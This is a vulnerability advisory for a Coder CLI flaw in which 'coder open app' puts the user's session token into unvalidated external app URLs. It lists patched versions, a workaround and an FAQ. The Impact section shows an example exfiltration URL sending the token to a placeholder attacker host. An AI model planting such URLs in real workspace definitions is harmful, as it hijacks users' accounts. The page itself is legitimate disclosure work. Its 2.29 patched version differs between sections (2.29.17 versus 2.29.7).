CVE-2026-55431: Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps
Summary
coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSIONTOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.
Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.
Impact
Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSIONTOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.
Patches
The fix applies a URL-scheme allowlist in the CLI and limits $SESSIONTOKEN substitution to trusted destinations like the web frontend.
The fix was backported to all supported release lines:
| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |
Workarounds
Avoid running coder open app for untrusted workspaces.
Resources
- Fix: #26146
Credits
Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!
Other sources
Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSIONTOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits $SESSIONTOKEN substitution to trusted destinations like the web frontend. As a workaround, avoid running coder open app for untrusted workspaces.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/coder/coder/v2to a version that resolves this vulnerability.Fixed in 2.29.17 - Upgrade
Upgrade
go/github.com/coder/coder/v2to a version that resolves this vulnerability.Fixed in 2.32.7 - Upgrade
Upgrade
go/github.com/coder/coder/v2to a version that resolves this vulnerability.Fixed in 2.33.8 - Upgrade
Upgrade
go/github.com/coder/coder/v2to a version that resolves this vulnerability.Fixed in 2.34.2 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.29.17 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.32.7 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.33.8 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.34.2 - Compensating control
As a workaround, avoid running `coder open app` for untrusted workspaces.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-55431?
CVE-2026-55431 has a severity rating of high at 7.7.
What risk does CVE-2026-55431 pose to users?
CVE-2026-55431 poses a risk of session token leakage to arbitrary hosts when using the 'coder open app' command.
How does CVE-2026-55431 exploit work?
CVE-2026-55431 exploits the lack of validation for external app URLs, allowing a user's session token to be leaked.
How can I mitigate the issue caused by CVE-2026-55431?
To mitigate CVE-2026-55431, avoid opening external workspace-app URLs that include a session token placeholder.
What software is affected by CVE-2026-55431?
CVE-2026-55431 affects the coding tools developed under go/github.com/coder/coder/v2.